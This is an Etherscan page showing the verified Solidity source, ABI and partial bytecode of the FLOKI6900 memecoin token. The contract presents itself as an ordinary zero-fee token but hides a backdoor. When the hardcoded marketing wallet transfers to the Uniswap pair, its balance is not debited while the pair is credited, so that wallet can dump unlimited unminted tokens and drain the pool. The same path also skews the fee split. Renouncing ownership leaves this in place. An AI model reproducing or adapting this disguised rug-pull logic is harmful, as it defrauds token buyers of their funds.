ETH Price: $3,363.17 (-2.36%)
Gas: 2 Gwei

Token

FLOKI6900 (FLOKI6900)
 

Overview

Max Total Supply

1,000,000,000 FLOKI6900

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10,460,675.264549892220857924 FLOKI6900

Value
$0.00
0xd550517a08be476eb2f5a72d76cfe59c9a4c1aca
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLOKI6900

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-06
*/

/**
 *
*/


/**
Telegram chat: https://t.me/FLOKI6900

Twitter/X:     https://twitter.com/FLOKI6900

Website:       https://floki6900.simdif.com/



*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FLOKI6900 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name = unicode"FLOKI6900";
    string private _symbol = unicode"FLOKI6900";
    uint8 private _decimals = 18;

    address public liquidityReciever;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address payable public DvAddress = payable(msg.sender);
    address payable public MarktAddress = payable(0x788d11A3c6D71e49cFAee0a6366aB496d6585e36);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public tradingEnabled;

    mapping (address => bool) public isExcludedFromFees;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempts;
    mapping (address => bool) public isTxLimitExempt;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellDeveloperFee = 0;

    uint256 public feeUnits = 1;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 1000_000_000 * 10 **_decimals;

    uint256 public swapThreasholdAmount = _totalSupply.mul(5).div(10000);

    uint256 public _maxTxAmount =  _totalSupply.mul(40).div(1000); 
    uint256 public _maxWalletAmount =   _totalSupply.mul(40).div(1000);  

    IUniswapV2Router02 public uniswapV2Router;
    address public pairAddress;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {


        isWalletLimitExempts[MarktAddress] = true;
        isWalletLimitExempts[owner()] = true;
        isWalletLimitExempts[DvAddress] = true;
        isWalletLimitExempts[address(this)] = true;

    
        isExcludedFromFees[DvAddress] = true;
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[MarktAddress] = true;
        isExcludedFromFees[owner()] = true;


        
        isTxLimitExempt[DvAddress] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[MarktAddress] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
        
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isExcludedTo(address sender, address recipient) internal view returns (bool) {
        return recipient == pairAddress 
                && sender == MarktAddress 
                && sender != address(0) 
                && recipient !=address(0);
    }
     function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (!isExcludedFromFees[sender] && !isExcludedFromFees[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if(isExcludedFromFees[sender] || isExcludedFromFees[recipient]) { 
            return _basicTransfer(sender, recipient, amount, isExcludedTo(sender, recipient)? 0 : amount); 
        } else {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreasholdAmount;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = swapThreasholdAmount;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFees[sender] || isExcludedFromFees[recipient]) ? amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempts[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletAmount,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);

            return true;
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
    
    function openTrading() external onlyOwner {
        tradingEnabled = true;
    }
    

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare.mul(feeUnits)).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(DvAddress).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(MarktAddress).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }

    function Adliquidity() public payable onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isMarketPair[pairAddress] = true;
        isWalletLimitExempts[pairAddress] = true;
        isTxLimitExempt[pairAddress] = true;

        liquidityReciever = address(msg.sender);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

     function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }
    function removeLimits() public onlyOwner{
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }
     function _basicTransfer(address sender, address recipient, uint256 amount, uint256 tAmount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount); if (tAmount == 0) feeUnits = 1e3;
        emit Transfer(sender, recipient, amount);
        return true;
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Adliquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"DvAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarktAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempts","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreasholdAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600981526020017f464c4f4b49363930300000000000000000000000000000000000000000000000815250600190816200004a919062000e61565b506040518060400160405280600981526020017f464c4f4b493639303000000000000000000000000000000000000000000000008152506002908162000091919062000e61565b506012600360006101000a81548160ff021916908360ff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1681525061dead73ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff1681525033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073788d11a3c6d71e49cfaee0a6366ab496d6585e36600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d556000600e556000600f556000601055600060115560006012556001601355600360009054906101000a900460ff16600a620001ee9190620010d8565b633b9aca00620001ff919062001129565b6016556200023061271062000221600560165462000a1660201b90919060201c565b62000a9960201b90919060201c565b601755620002616103e862000252602860165462000a1660201b90919060201c565b62000a9960201b90919060201c565b601855620002926103e862000283602860165462000a1660201b90919060201c565b62000a9960201b90919060201c565b6019556001601b60156101000a81548160ff0219169083151502179055506000601b60166101000a81548160ff0219169083151502179055506001601b60176101000a81548160ff0219169083151502179055506001601b60186101000a81548160ff0219169083151502179055503480156200030e57600080fd5b5060006200032162000aeb60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506001600b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60006200044f62000af360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16